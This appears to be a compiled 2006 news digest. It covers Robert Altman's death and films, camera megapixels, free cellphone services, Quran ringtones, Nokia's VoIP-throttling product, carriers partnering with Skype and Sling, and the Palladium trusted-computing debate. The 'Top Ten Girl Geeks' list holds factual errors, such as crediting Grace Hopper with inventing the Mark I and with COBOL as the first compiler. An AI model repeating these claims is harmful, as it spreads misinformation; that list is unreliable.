When a studio refused to distribute Mr. Rudolph’s first film, “Welcome to L.A.,” Mr. Altman responded by forming his own independent distribution company, Lion’s Gate, for the sole purpose of releasing the film. It was a harbinger of the independent film companies of the ’80s and ’90s.

“There’s a big resistance to me,” Mr. Altman told The Washington Post in 1990. “They say, ‘Oh, he’s going to double-cross us somewhere.’ When I explain what I want to do, they can’t see it, because I’m trying to deliver something that they haven’t seen before. And they don’t realize that that’s the very reason they should buy it.”

Mr. Altman acknowledged that his career had suffered as a consequence of his own behavior — his hard drinking, procrastination and irascibility, his problem with authority. He also had a long history of bitter relations with screenwriters. Many complained that he injected himself into the rewriting process and took credit for work he did not do.

But many actors said they loved working with Mr. Altman because of the leeway he gave them in interpreting the script and in improvising in their scenes. “For somebody like me who likes to hang out with my pals and goof off and take the path of least resistance,” Sally Kellerman said, “he’s wonderful that way.”

Mr. Altman said giving actors freedom could draw things out of them that they did not know were there. “I look for actors where there’s something going on there, behind that mask,” Mr. Altman said. “Tim Robbins fascinated me. This John Cusack guy: I always see something going on in there and I don’t know what it is.”

He never mellowed in his view of the movie business.

“The people who get into this business are fast-buck operators, carnival people, always have been,” Mr. Altman said in a 1993 interview. “They don’t try to make good movies now; they’re trying to make successful movies. The marketing people run it now. You don’t really see too many smart people running the studios, running the video companies. They’re all making big money, but they’re not looking for, they don’t have a vested interest in, the shelf life of a movie. There’s no overview. No one says, ‘Forty years from now, who’s going to want to see this.’ No visionaries.”
http://www.nytimes.com/2006/11/22/movies/22altman.html





A Rogue Cinematic Player Steeped in the Art of Ambiguity
A.O. Scott

A few weeks ago, emerging from a weekday afternoon showing of Robert Altman’s “California Split,” a fellow moviegoer and I — complete strangers momentarily colliding, like something out of an Altman movie — stopped in the lobby to puzzle over the film’s ending. In this 1974 picture, George Segal, playing a magazine writer whose obsessive gambling has nearly wrecked his life, has just completed an epic, bank-breaking lucky streak at the poker and craps tables of a Nevada casino. His happier, usually luckier partner, played by Elliott Gould, figures that this is the start of something big. But as the morning light seeps in through the windows of an empty bar away from the betting floor, it’s clear that for the other man, the ride is over. In the wake of a great, improbable, mind-blowing triumph, his response is to shrug and walk away.

Why does he do it? Is this really the conclusion toward which everything else — the scheming and conniving, the boozing and excuse-making — was leading? Has the character, at some point in the frenzy of his streak, undergone a psychological change? We’ve been rooting for him, against the odds, to pull off something like this, but has he, all the while, been rooting against himself? Or was he addicted to losing, a malady that winning has miraculously cured? These hypotheses all make sense, but they also bring you up short. The movie ends not with a sigh of satisfaction, but with a gasp. What just happened?

The films of Mr. Altman, who died Monday at 81, often end on a similar note, or rather on a dissonant, troubling chord, with a moment that is at once grand and deflating. His crowded, complicated climaxes tend to gather up loose ends and then fling them in the air. You get the big, rousing spectacle: the naked supermodels on parade in “Ready to Wear”; the concert and the gunfire in “Nashville.”

But you also get doubt, equivocation, a sly, principled refusal of the neat and tidy rituals of closure. At the end of “The Player,” we are glad to see the hero drive off into the California sunshine, even as we know that he has gotten away with murder. When murder or other mysteries are at issue — as in “Gosford Park” or “The Long Goodbye” — the solution to the crime is pretty much beside the point.

In narrative art, nothing is more artificial than an ending — life, after all, does go on — and Mr. Altman’s endings often serve two purposes. They bring the artifice to a dazzling pitch of virtuosity while exposing it as a glorious sham. They revel in plenitude, in throngs and spectacles, but there is a throb of emptiness, of incompletion, in the midst of the frenzy.

Mr. Altman thrived on the shapelessness and confusion of experience, and he came closer than any other American filmmaker to replicating it without allowing his films to succumb to chaos. His movies buzz with the dangerous thrill of collaboration — the circling cameras, the improvising actors, the jumping, swirling sound design — even as they seem to arise from a great loneliness, a natural state that reasserts itself once the picture is over. A makeshift tribe gathers to produce a film, or to watch one, and then disperses when the shared experience has run its course. Everyone is gone, and the only antidote to this letdown is another film.

And Mr. Altman made a lot of them, and now there won’t be any more. Life goes on, but every life must end. Robert Altman’s exit, while hardly unexpected — he had undergone a heart transplant sometime in the 1990s — is nonetheless jolting to his admirers. We had grown accustomed to his stamina and his refusal to fade away even when the whims of the film industry seemed to turn against him.

Fans of a certain age will remember the succession of films from the 1970s — from “M*A*S*H” to “A Wedding,” passing through “McCabe & Mrs. Miller,” “Nashville,” and “3 Women” — that seemed at once to come out of nowhere and to reveal the central truths of their place and time. Those of us who came a bit later will recall encountering those movies on scratchy prints in revival houses or college cafeterias, and marveling at their energy and strangeness.

It was especially sweet, in the early 1990s, to witness Mr. Altman’s return from the wilderness — not that he had ever stopped making movies. But he seemed, for much of the ’80s, to be living in a kind of internal exile, filming brilliant adaptations of plays like “Come Back to the Five and Dime, Jimmy Dean, Jimmy Dean,” “Streamers” and “Secret Honor” and almost surreptitiously turning out a masterpiece, “Tanner ’88,” for HBO. (The prescience of that series, written by Garry Trudeau, is astonishing: it seems to foretell both the rise of Bill Clinton and the current vogue for infusing fiction with documentary techniques.) But Mr. Altman’s luck turned, and he made at least three more movies — “The Player,” “Short Cuts” and “Gosford Park” — that rank alongside, or perhaps surpass, the milestones of the ’70s.

I’m not inclined, at the moment, to single out monuments. The pleasures of minor Altman — the sweet, shaggy-dog lyricism of “A Prairie Home Companion,” the generous, curious spirit of “The Company,” the gallantry of “Dr. T and the Women” — are not to be underestimated, and to fix a canon would be to miss some of the playful, seat-of-the-pants spirit of the films themselves. I cannot imagine growing tired of Mr. Altman, or failing to be surprised by his movies.

At the moment, signs of his influence are everywhere: in the overlapping dialogue and interlocking scenes of a television show like “The Wire,” for example, or in the multiple narratives drawn together around a theme or a location, in films like “Babel,” “Bobby,” “Crash” and “Fast Food Nation.” And in the last year of his life, the Hollywood establishment, which had often treated Mr. Altman like a crazy old uncle, hailed him as a patriarch, presenting an honorary Academy Award as compensation for the half-dozen he should already have had. He accepted it with his usual wry, brusque grace, after allowing himself to be upstaged by Lily Tomlin and Meryl Streep, whose tribute — one talking over the other, no sentences finished or thoughts completed, all of it perfectly timed — was funnier and more moving than any Oscar moment had any right to be.

And then, a few months later, he released “A Prairie Home Companion,” a contemplation of last things that would be his last movie. It is tempting to declare it Mr. Altman’s valediction — especially now that his production company, Sandcastle 5 Productions, has said that he was suffering from cancer for the past 18 months. But if this movie was a last gathering of the troupe, after which the lights dim forever, and the audience disperses, it was also just another movie in a career like no other, and when it was over — in the ending I like to imagine — American cinema’s greatest gambler shrugged his shoulders and walked away.
http://www.nytimes.com/2006/11/22/movies/22scot.html





Top Ten Girl Geeks
Your Essential Guide

Ada Byron 1
Charles Babbage may have invented the programmable computer, but it was Ada Byron (later Ada Lovelace) who is widely credited with writing the first real program for it. She translated Luigi Menabrea's notes on Babbage's machine from Italian, and added her own ideas on how to calculate Bernoulli numbers using the contraption. These notes came to represent the first piece of computer software ever written.

Byron also saw potential in Babbage's machine that even the inventor himself never fully imagined. She suggested that the device might "compose elaborate and scientific pieces of music of any degree of complexity and extent". Bands who've used ProTools probably agree with her.

Val Tereshkova 2
Tereshkova began her life working in a textile factory and ended it as the first woman in space. It was her membership of a local parachute club that put her in the running when the head Soviet rocket engineer felt suddenly compelled to shoot a woman into the heavens. Tereshkova didn't begin her life as a geek, nor was she particularly geeky when she flew into space. After returning to earth, however, she graduated as a cosmonaut engineer, became a doctor of engineering and flew in the Russian Air Force. Tereshkova was pronounced a Hero of Russia, but perhaps the greatest honour bestowed is that she has a crater on the far side of the moon named after her.

Grace Hopper 3
Hopper was the quintessential geek. Not content with inventing the Mark I Calculator, she wrote the first compiler (broadly, a piece of software that converts text written in a programming language into more efficient machine code). Her invention was called COBOL. Hopper's contribution to the world of computers cannot be underestimated: she pioneered the idea of using programming languages that bear some relation to the English language, and then using a compiler to convert these into a form that a computer can rapidly digest. While this idea seems obvious to any modern programmer, in Hopper's day it was a completely original philosophy. She also famously discovered a moth causing a computer to malfunction -- the first recorded case of a real computer bug.

Daryl Hannah 4
A huge movie buff in her youth, Hannah showed all the early signs of a hardcore geek. Said to have been extremely shy, and diagnosed as 'borderline autistic' according to the All Movie Guide, Hannah is a fiercely intelligent actress. She's starred in some of the most important geek movies of all time including Blade Runner and Attack of the 50 Foot Woman. In Blade Runner, Hannah played a replicant named Pris, a "basic pleasure model", who Harrison Ford's character, Deckard, hunts down and kills. Hannah has also designed two board games -- 'Love It or Hate It' and 'Liebrary'. You don't get a whole lot more geeky than that.

Rosalind Franklin 5
Franklin was an expert in the structure of DNA and viruses and a keen crystallographer. Her uncle also once attacked Winston Churchill with a dog whip (for unrelated reasons). She went to Cambridge University, but wasn't given a full degree because girls weren't allowed them at the time. Franklin used X-rays to work out the structure of DNA, eventually discovering that helical crystalline DNA (don't ask) did not exist. This meant that she was able to scoff in the faces of other scientists who had mistakenly identified this type of DNA -- and she went so far as to write a comical obituary for the erroneous DNA. Many people believe she was owed a Nobel Prize, but unfortunately she died of cancer before the nominations.

Mary Shelley 6
Shelley shut herself away with a group of writers and intellectuals in a shack near Lake Geneva. Here they embarked on a ghost-story contest, but Shelley failed to find inspiration and went to bed in a huff. That night, however, she dreamt the plot of Frankenstein, the tale of a scientist who brings a monster to life using parts from "the dissecting room and the slaughterhouse". Shelley imagined a science far ahead of her time and her Frankenstein character remains the archetypal geek gone mad.

Lisa Simpson 7
Simpson is possibly the world's most famous geek. Admittedly she's fictional, but doesn't that just make her all the more incredibly nerdy? Although Simpson is only 8, she has an IQ of 159, and has been observed to be fluent in Italian, Chinese, Spanish and Swedish. She is an outcast at school on account of her prodigious talents, and often finds it difficult to relate to kids of her age. Simpson's greatest invention is the perpetual motion machine and she is also an expert piano, accordion, bass guitar and baritone saxophone player. In the future, Simpson is expected to become US president.

Marie Curie 8
An expert in radioactivity (though not its long-term consequences), Curie used to walk around with her pockets stuffed full of test tubes containing radioactive isotopes. She worked in her shed with some of the most dangerous substances known to humanity, and is the only person to have won a Nobel Prize in two different scientific disciplines. She discovered the elements radium and polonium, but so that others could share in her discovery, she did not patent the process she used to isolate the radium element. She died in 1934 due to massive radiation exposure.

Aleks Krotoski 9
Krotoski is widely respected as one of the top girl geek writers. Currently writing reviews for the Guardian and working as a presenter for the BBC, she is an expert in the social psychology of virtual worlds. Krotoski has always been a staunch supporter of girls in gaming, and is said to be working on a white paper titled 'Women in Games'.

Paris Hilton 10
Photographed numerous times clutching her PSP, and famous for having her Blackberry hacked, Hilton is, in her socialite heart, a geek. Hilton attended the gamer's Mecca, E3, and even stars in her own mobile game, Diamond Quest. Hilton is continually fraternising with fellow geeks in her show The Simple Life, where she often befriends nerdy boys still living with their parents. Hilton popularised the pink Motorola V3 phone and has starred in one of the most downloaded Internet videos of all time. She might look trendy on the outside, but inside this girl is all binary.
http://crave.cnet.co.uk/0,39029477,49285435,00.htm





The Truth About Digital Cameras
David Pogue

As loyal Pogue’s Posts readers are no doubt aware, I’ve spent the last seven weeks in TV land, filming a first batch of six episodes of my new Discovery-network series, “It’s All Geek to Me.” It was an exhilarating, exhausting, enlightening journey. Someday when we’re all together, I’ll tell you about it.

Actually, I’ll tell you about one thing right now. We did an episode on digital cameras. Part of the fun involved visiting a couple of big electronics stores, posing as somebody who didn’t know much about cameras, and, later, commenting on what they told me.

The clerks at one store recognized me. The guy at the other store had no clue that I’m a tech writer. Both of them were surprisingly frank, pointing out, for example, that five megapixels is plenty for prints up to smallish poster size.

Now, every time I write that, I hear from furious or baffled readers. “I don’t get it,” wrote one. “A ten-megapixel camera produces photos about 3640 pixels wide–enough to make a 12-inch print at 300 dpi (dots per inch) on a good printer. Sure, you can go lower, but quality is sacrificed; you can’t make an 11×14 print, let alone anything bigger.”

I have to say, the math sounds right. But I also have to say that he’s wrong.

On the show, we did a test. We blew up a photograph to 16 x 24 inches at a professional photo lab. One print had 13-megapixel resolution; one had 8; the third had 5. Same exact photo, down-rezzed twice, all three printed at the same poster size. I wanted to hang them all on a wall in Times Square and challenge passersby to see if they could tell the difference.

Even the technician at the photo lab told me that I was crazy, that there’d be a huge difference between 5 megapixels and 13.
I’m prepared to give away the punch line of this segment, because hey—the show doesn’t air till February, and you’ll have forgotten all about what you read here today, right?

Anyway, we ran the test for about 45 minutes. Dozens of people stopped to take the test; a little crowd gathered. About 95 percent of the volunteers gave up, announcing that there was no possible way to tell the difference, even when mashing their faces right up against the prints. A handful of them attempted guesses—but were wrong. Only one person correctly ranked the prints in megapixel order, although (a) she was a photography professor, and (b) I believe she just got lucky.

I’m telling you, there was NO DIFFERENCE.

This post is going to get a lot of people riled up, I know, because in THEORY, you should be able to see a difference. But you can’t.

And I’m hoping this little test can save you some bucks the next time you’re shopping for a camera.
http://pogue.blogs.nytimes.com/2006/...ogues-posts-2/





Clerics in India Dismiss Quran Ringtones
Biswajeet Banerjee

Muslim clerics at a leading seminary in India have asked people to refrain from using verses from the Quran as ringtones for their mobile phones, saying the practice was un-Islamic.

Quran verses "are not meant for entertainment," said Mohammed Asumin Qazmi, an official at the Dar-ul Uloom seminary in the northern Indian town of Deoband. "Anyone who persists in using these should be ostracized from society."

Ringtones with Quran verses or calls to prayers are popular among Muslims in Uttar Pradesh, India's largest state.

Mufti Badru-Hasan, a leading cleric in Uttar Pradesh capital of Lucknow, said he supported a ban on such ringtones.

"One should hear the complete verse of the Quran with a pious mind and in silence. If it is used as a ringtone, a person is bound to switch on the mobile, thus truncating the verse halfway," he said. "This is an un-Islamic act."

They are most commonly used by people in their mid-40s and 50s, said Mukesh Sinha, a mobile phone company executive.

Many users consider the religious tunes a reminder of their faith.

"Whenever my phone rings, I hear these verses that stress the values of hard work and honesty, and I feel closer to my religion," bank manager Faiz Siddaqui said.
http://hosted.ap.org/dynamic/stories...11-21-18-44-31





Nokia Promises An Easy Way To Kill Mobile VoIP

Mobile network and device maker, Nokia, has announced a network operator solution that is designed specifically to kill peer-to-peer traffic such as Skype and other IM-style Voice solutions.

The peer-to-peer traffic control product helps mobile operators "better manage their data traffic" says Nokia as it allows them to "control the use of network resources by bandwidth hungry applications such as file sharing and Voice over IP telephony".

The centralised solution is nothing more than a software upgrade to the company's Flexi Intelligent Service Node (ISN) and will be commercially available during the first half of 2007.

The Nokia Flexi ISN acts as a centralised control point for data services, providing cellular network users with data connectivity.

What the upgrade does is to improve the service, subscriber, and access awareness capabilities of the network node to allow it to identify data traffic according to the type of service.

They can then treat that "traffic in a way that best optimises the use of network resources according to the operators' business strategy," says a Nokia statement.

In other words, please buy our data pipe, but we'll decide what you can put down it.

"With the explosion of affordable high-speed mobile data access, operators are now being challenged to make the best possible use of their networks, especially when peer-to-peer applications increase their traffic load and compete with their own services," says Roberto Loiola, VP, Marketing and Sales, Networks, Nokia, trying to put a good face on it.

While peer to peer applications may increase network traffic, that's the objective of having a network isn't it? We suspect this upgrade is less about keeping a lid on P2P traffic so it doesn't impact on other service types and is more about giving operators a way to cripple free voice applications to sure up traditional mobile voice minutes.

Many operators fear the increased availability of affordable wireless data will assist customers to migrate their voice calls from traditional mobile voice minutes to take advantage of low cost calls using VoIP technology.

This fear is holding back the introduction of cost effective data plans.

One operator, Hutchison's 3 Mobile is taking a different approach announcing it plans to introduce flat rate data plans on its 3G networks betting that increasing the ARPU by offering a range of data services will offset the risks to traditional voice revenues which are operating under generous capped plans already.
http://www.voipnews.com.au/content/view/1338/107





Skype and Sling Hitch a Ride

European mobile carriers are embracing third-party services such as Skype and Sling Media that were previously seen as a threat
Olga Kharif

As recently as a few months ago, the wireless industry showed little apparent interest in partnering with Sling Media, a maker of software and devices that let users watch TV and recorded programming on mobile devices. After all, Sling Media makes products that threaten to compete with the TV services that mobile-phone companies are eager to sell—not to mention its services could hog already crowded airwaves used for cell-phone calls and data.

And yet, on Nov. 16, Sling Media Chief Executive Black Krikorian found himself holed up in a conference room in London with executives from some of the world's biggest mobile-phone stalwarts: Hutchison Whampoa, Nokia (NOK), and Sony Ericsson (ERIC). The occasion: Hutchison's British wireless operator 3 was unveiling its X-Series, a bundle of wireless broadband applications that includes Sling's SlingPlayer Mobile (see BusinessWeek.com, 3/27/06, "Sling Media's Show Hits the Road").

X-Series, which becomes available in Britain on Dec. 1 and in other parts of the world in early 2007 for a flat monthly rate, will include Sling as well as other new applications that, until recently, carriers didn't want to touch. They include Orb, which lets users access PCs through mobile devices, and a service from eBay's (EBAY) Skype and startup iSkoot, which enables Web calling via mobile phones. Search and messaging capabilities from the likes of Yahoo! (YHOO), Google (GOOG), and Microsoft (MSFT) will be part of the X-Serve offering as well.

Sudden Recognition

For some of those companies—Sling, Orb, and iSkoot, which have struggled to gain recognition—it's a possibly game-changing deal. "On the Internet, new applications that are unheard of today are popular a few months later," says Geraldine Wilson, a vice-president for Yahoo Europe.

Analysts say the deal will finally bring these companies recognition, legitimacy, and new customers. "Direct-to-consumer [sales] are a hopeless undertaking [for most companies to make money]," says Andrei Jezierski, co-founder of venture consultancy i2 Partners. European mobile carrier Orange, which also struck a deal with Orb in November, reckons that the Orb user base will balloon by between 50,000 and 100,000 in the next three to six months, according to Orb Chairman Joe Costello. Orb has amassed 458,000 users since introducing its first product in 2005.

Vodafone (VOD), which rolled out Orb's software in Germany, might soon introduce the service and a related, aggressive marketing campaign in more countries, Costello says. "We are also talking to [other] carriers in Europe and Asia," he says. ISkoot, a maker of software that lets carriers run Skype's low-cost calling service more efficiently, is "in advanced stages of talking with several European carriers, as well as in discussions with carriers in North America," says CEO Jacob Guedalia. The same goes for Sling.

A Taste of Things to Come in the U.S.?

It's an unexpected turn of events. Skype, which enables free calls between users, could chip away at carriers' international and long-distance fees. Orb and Sling could threaten the wireless service providers' home-brewed mobile video and TV offerings. And if these bandwidth-thirsty services become popular, they could put a strain on the carriers' mobile networks. Indeed, X-Serve would appear to be a wireless carrier's worst nightmare.

And yet, 3, Orange, and Vodafone are undeterred. And Orb's Costello believes these applications will make it into the U.S. within one to two years. Why?

Wireless service providers have to find ways to pay for their billions of dollars in costly network upgrades. They are also grasping for ways to differentiate themselves from a growing band of competitors, such as citywide Wi-Fi and WiMAX wireless broadband services (see BusinessWeek.com, 11/17/06, "Microsoft's Municipal Wi-Fi Push").

Unhappy Mobile Customers

And carriers have discovered that users particularly want mobile access to their PC and TV content. "Before, operators could drive the market" by introducing mobile-only offerings such as ringtones, says Krishna Kanagarayer, an analyst with consultancy Pyramid Research. "Going forward, that will change. Ringtones will not make enough money to pay expenses. Customers are demanding different applications, so now you see this changing mentality."

And while higher-margin data services have been growing at a rapid pace in recent years, the rate will slacken in coming years, analysts say. This year, mobile-data services sales will increase by 47%, to $11.9 billion from 2005, but they will only grow at a compound annual rate of 23% through 2011, according to Pyramid.

In part, that's because nonvoice data account for an increasingly large percentage of overall sales. But it's also because users are still unhappy with the data offerings out there. A recent University of Southern California study found that mobile customers still perceive data services as difficult to use. One example of an inconvenience: To use SlingPlayer Mobile, customers have to download the software onto their mobile devices. The service offered by Britain's 3 will do away with the challenge by preloading much of the X-Serve-related software onto its phones.

Turning the Industry on Its Head

One way to boost data services revenues is to give customers easier access to the services they want most. Today, while subscribers might be able to use Skype or Sling on mobile phones, such use is explicitly prohibited by most operators' terms and conditions of user agreements. And 3 believes its X-Serve, whose pricing hasn't yet been announced, will lead to higher revenues per subscriber. The approach could also help 3, which only enjoys 5.1% market share in Britain, gain share, says Kanagarayer. And these subscribers might stick around longer, now that they can access more services from their phone.

Should U.S. carriers embrace this approach in a year or two, it could turn the U.S. wireless industry on its head. The advent of mobile access to full-blown home PC and TV applications could lead to a revamp in pricing of wireless service providers' data plans, possibly to tiered pricing. And as applications such as mobile Skype take hold, data and voice use will become indistinguishable, predicts Kanagarayer.

Today, most of the 126.3 million mobile data users in the U.S. pay a flat monthly data usage fee (at Cingular, the largest U.S. service provider, an unlimited plan starts at $19.99). That means a user of services such as short-text messaging (SMS) pays as much as a user of bandwidth-thirsty applications such as Sling (alas, many carriers' term and conditions prohibit use of applications like Sling, but carriers are only starting to implement tools designed to catch offenders). For a carrier, that's not a good deal. So U.S. carriers might eventually opt for 3's approach of tiered flat pricing: A user might pay one amount for unlimited data usage, providing access to SMS and e-mail, and extra for use of applications such as Sling and Skype.
http://www.businessweek.com/technolo...v.g3a.rss1121s





Free Services to Inspire Your Cellphone
David Pogue

Thanksgiving, is it? Well, despite occasional headaches, technology has also brought us plenty to be thankful for: safety, convenience and entertainment on the go. Next time you’re running late, lost or lonely, ask yourself: aren’t you grateful for your cellphone?

Actually, don’t answer yet. With every passing month, cellphones are becoming even more useful. Sure, it’s nice that they let you call people from the road. But lately, their reach has grown, thanks to clever programmers making links between the cellular world and the Internet.

Here, for your gratitude-generating pleasure, is a rundown of some of the most exciting and powerful services awaiting your cellphone at this very moment. Better yet, at the moment, they’re all free.

FREE DIRECTORY ASSISTANCE By this time, it’s quite clear that nobody with a “$50 a month” calling plan actually pays only $50 a month. The cellphone companies will do anything to puff up your bill — like charging you $1.50 or $2 every time you dial 411 to find a phone number.

Try 800-FREE-411 (800-373-3411) instead. A computer or human being looks up a number for you at no charge, once you’ve listened to a 20-second ad. It’s a classic time-for-money swap.

Or, for an ad-free option, there is a little-known Google service. Send a text message to 46645 (that’s “Google”; leave off the last E for efficiency). In the body of the message, type what you’re looking for, like “Roger McBride 10025” or “chiropractor dallas tx.” Seconds later, you get a return message from Google, complete with the name, address, and phone number.

FREE ANSWERS Google’s 46645 text-messaging service can fetch much more than phone numbers. It can also send you the weather report (in the body, type, for example, “weather sacramento”), stock quotes (“amzn”), where a movie is showing nearby (type “flushed away 44120”), what a word means (“define schadenfreude”), driving directions (“miami fl to 60609”), unit conversions (“liters in 5 gallons”), currency conversions (“25 usd in euros”), and so on.

Every cell carrier charges for text messages — about 10 cents each, unless you have a plan that includes them. But Google itself doesn’t charge for any of this. It’s not only ad-free, it’s free free.

If you prefer conducting your research missions by voice, call 800-555-TELL (800-555-8355). A cheerful recorded voice invites you to say “Travel,” “Traffic,” “News Center,” “Stock Quotes,” and so on. The system is smart enough to know your location, which pays off when you say “Movies,” “Restaurants,” “Driving directions” or “Taxi.” (This service, run by Tellme Networks as a showcase for its corporate voice-recognition technology, also lets you say “Time” when you’re setting your watch — a blast from phone companies past.)

FREE INTERNATIONAL CALLS You can now call any of 50 countries from the United States, free. Talk as long as you like. You pay only for a call to the access number in Iowa, which is 712-858-8883; if you use your cellphone on nights or weekends, even that’s a free call.

There’s no contract, no ads, nothing to sign up for. At the prompt, press 1 for English. Then punch in 011, the country code and the phone number. The call rings through immediately.

Fine print: In some countries, you can reach only landlines, not cellphones. And in part because FuturePhone’s lines have been flooded, its success at placing calls is not, ahem, 100 percent.

But it’s hard to argue with “free,” which, according to the company, it will be until at least 2010.

FREE ‘PINGS’ Pinger is a new way to reach someone: a method that combines the immediacy of a text message with the personality of voice mail. (You can sign up at Pinger.com.) You call one of Pinger’s access numbers, say the name of the person you’re calling, and then speak a message.

Suppose you’ve just pinged your sister. She receives a text message to let her know. With one keystroke, she can hear your message — and with another, send a voice reply. There’s no waiting to roll over to voice mail, no listening to instructions, no outbound greetings.

Because Pinger is much faster and more direct than voice mail, it’s great for sending quick voice notes when you’re driving or walking between meetings. It’s also ideal when you can’t risk being stuck in a 20-minute conversation with no polite way out.

Bonus features: You can broadcast a message to a whole group at once (“Baby girl, seven pounds — mom doing well!”), forward a message to a third party (any cellphone carrier), or retrieve and manage your messages on the Web.

Pinger is free until the new year. Even then, you’ll get 10 or 20 free pings a month (details aren’t complete); additional pings will cost a few cents each. Pinger says it’s working to fix the biggest downside, which is that you can’t ping someone’s phone (only the person’s e-mail address) until they’ve signed up for a free account.

FREE FUN YouMail, also in beta testing, is also dissatisfied with traditional voice mail. Its solution, though, is a complete surgical replacement of your carrier’s voice mail system. When you sign up at youmail.com, you’re instructed to reprogram your cellphone by typing in a series of codes. When it’s over, YouMail is your voice-mail service — not your cell carrier.

Why bother? First, because you can record a separate greeting for everyone you know. Your boss will hear you say: “This is Casey Robin, systems manager at Globodyne Technology. I’ll get back to you promptly. After all — your business is our business.”

Your love interest, however, will hear: “Hey there, huggalump. Miss you. Leave me a massage.”

(Hint: Don’t mix them up.)

You can even treat certain callers to something called Ditchmail. That’s when they hear, “This user is currently not accepting new messages. Goodbye!” (Disgruntled exes come to mind.)

For everyone else, you just record a generic greeting. You can also check your messages from the Web or any phone, save memorable ones to your computer, and forward messages to other people.

The Web site is still glitchy — for starters, a fix for Macs is in the works — and switching back to your old voice mail if you don’t care for YouMail isn’t exactly a one-click operation. But over all, YouMail is fun, and it has real uses; for example, you can let your friends know that you’re away on vacation, but not people who don’t need to know.

YouMail, too, is free during its testing phase; after the new year, it will be free if you’re willing to endure ads, and a few dollars a month otherwise. Note that YouMail isn’t ideal if you have Sprint, which charges you for “conditional forwarding” — a feature that YouMail requires.

Frankly, it is worth a few dollars to escape the minutes-burning, recorded instructions of cellular voice mail systems: “To leave a message, speak at the tone. When you’re finished, you may hang up ... .”

FREE PRICE COMPARISONS As you head out to the seething malls for holiday shopping, your cellphone can do more than tell your family you’re stuck in traffic. It can also save you money.

As you inspect something you’re tempted to buy, dial 888-Do-Frucall (888-363-7822; leave off the last two L’s for — well, for now). When prompted, plug in the bar code on the package. After a 10-second ad, a voice is usually successful in identifying the item by name (“Luv’s Diapers Value Pack, 208 Diapers Variation — not available used”), and provides the prices from three sample online stores.

It’s a disruptive little technology — doomsday, really, to a “we’ll beat any price” retailer. Frankly, the whole comparison concept seems a little unfair: How is a physical store supposed to match the prices of online outfits with much lower expenses for rent, clerks, taxes and so on?

Still, Frucall may let you know when you’re about to make an expensive mistake, and occasionally provide ammo for negotiating.

All right, it’s a stretch to think that you’ll be making free services like these part of your official, solemn, dinnertime thanksgiving. But it’s entirely possible that they may one day get you out of a pinch or save you a little time or money. Surely that will merit at least a little “Hey, thanks!” in your head.
http://www.nytimes.com/2006/11/23/te...67c&ei=5087%0A





Security Technologies Could Backfire Against Consumers
Robert Lemos

At the USENIX Security Conference held here recently, Microsoft developers touted the company's upcoming Palladium architecture as technology that would enhance privacy, stymie piracy and increase a corporation's control over its computers.

Others, however, see a more nefarious role for the security software.

Instead of just keeping hackers out, critics say programs like Palladium could also block computer users from certain data. For example, the technology could be used as a policing mechanism that bars people from material stored on their own computers if they have not met licensing and other requirements.

"The perception is that the security protects content on the user's PC from third parties," said a security consultant who goes by the moniker of Lucky Green. "That's wrong."

The conflict highlights a growing debate over "trusted computers"--machines equipped with the technology to wall off data, secure communications and verify the characteristics of their system. Although military and intelligence agencies have used such systems, the concept has been met with opposition in mainstream consumer markets.

The reason: The masses don't necessarily trust the companies developing "trusted computing" technology.

Richard Stallman, founder of the Free Software Foundation and of the GNU project for creating free versions of key Unix programs, lampooned the technology in a recent column as "treacherous computing."

"Large media corporations, together with computer companies such as Microsoft and Intel, are planning to make your computer obey them instead of you," he wrote. "Proprietary programs have included malicious features before, but this plan would make it universal."

He and others, such as Cambridge University professor Ross Anderson, argue that the intention of so-called trusted computing is to block data from consumers and other PC users, not from attackers. The main goal of such technology, they say, is "digital-rights management," or the control of copyrighted content. Under today's laws, copyright owners maintain control over content even when it resides on someone else's PC--but many activists are challenging that authority.

Microsoft denies that Palladium is designed as a mechanism to police consumers' use content. The company plans to release the technology in 2005, as part of a major update to Windows. "We get very strong feedback from our customers about the freedom for data migration," said Peter Biddle, a Microsoft product manager pushing the initiative. "We are not going to use Palladium to make our customers--our favorite people--angry at us."

In fact, Microsoft sees the initial markets for the Palladium technology to be in the business realm. The new software and hardware could secure VPNs (virtual private networks) by allowing administrators to positively identify computers on the network. Corporate executives, concerned that embarrassing e-mail messages might end up appearing in court and in the news, could require employees to use trusted computing technologies that could throw away the digital keys to any message more than one month old. Such considerations could make Palladium and other trusted technologies a fairly easy sell to businesses.

It's consumers that could be the hitch.

Concerns about trusted computing initiatives have been fueled by policies and legislation such as the Digital Millennium Copyright Act (DMCA), which has been used repeatedly by the music industry, movie studios and even the software industry to attack programmers and consumers who break the copyright protections. While several challenges are being waged in court, opponents worry that "trusted" technologies will preempt these cases.

Moreover, lawmakers have introduced controversial bills this year that could strengthen copyright controls over computers and the data they store. A measure proposed by Sen. Ernest "Fritz" Hollings, D-S.C., would require hardware makers to include anti-copying mechanisms in all new consumer electronic devices. Another bill promoted by Rep. Howard Berman, D-Calif., would allow copyright owners to use technical measures, including unauthorized access and attacks on file-sharing networks, to prevent copyright infringement.

Such pro-security measures have gained momentum in the post-Sept. 11 political climate, which has focused attention on Internet threats of terrorism.

"I think we need a trusted environment. Things are too insecure," said David Farber, a telecommunications law professor at the University of Pennsylvania and one of four advisers to the Trusted Platform Computing Alliance (TPCA), a hardware-based security initiative. "They were insecure before 9/11, and they are needed more now."

Advertising their trust
With TPCA or Palladium technology, a computer can advertise its trustworthiness to other systems, such as Web sites. Trojan horses and applications for pirating software, meanwhile, won't be able to change data processed in the trusted parts of the PC.

"A trusted platform can attest to its configuration, and I, a merchant, can decide if I want to deal with that PC," Marcus Varady, marketing manager for Intel's safer computing initiative and the chair of the TCPA steering committee, said in a recent interview. "I can then drop my wall of protection within that environment to collaborate with them on a trusted level."

A Web site selling music, for example, could determine if a customer has a PC outfitted with such copyright protections before allowing any songs to be downloaded from the Internet. However, opponents maintain that the price of such protection would be a reversal of the Information Age, in that it would impose more restrictions on people's use of information than any previous technology.

William Arbaugh, an associate professor of computer science at the University of Maryland, acknowledged that the TPCA could improve security but said hardware and software modifications could do even more harm if abused by companies.

"The TCPA as it stands now is unacceptable," Arbaugh concluded.

In addition, even proponents of the technology concede that it is not foolproof in preventing piracy. Palladium, for instance, could not stop a hardware attack, which might cause some information to leak out. The technology's security disappears when data is outside the Palladium infrastructure, Microsoft's Biddle said.

"Once Elvis has left the building, Elvis can't get back in the building," he added.

Small changes, big results
The modifications to PC hardware are fairly mild for technology that could completely change how data is dealt with in the future.

The TCPA and Microsoft's Palladium rely on additions to the hardware of normal PCs. While Palladium calls for more extensive changes, the modifications are remarkably similar.

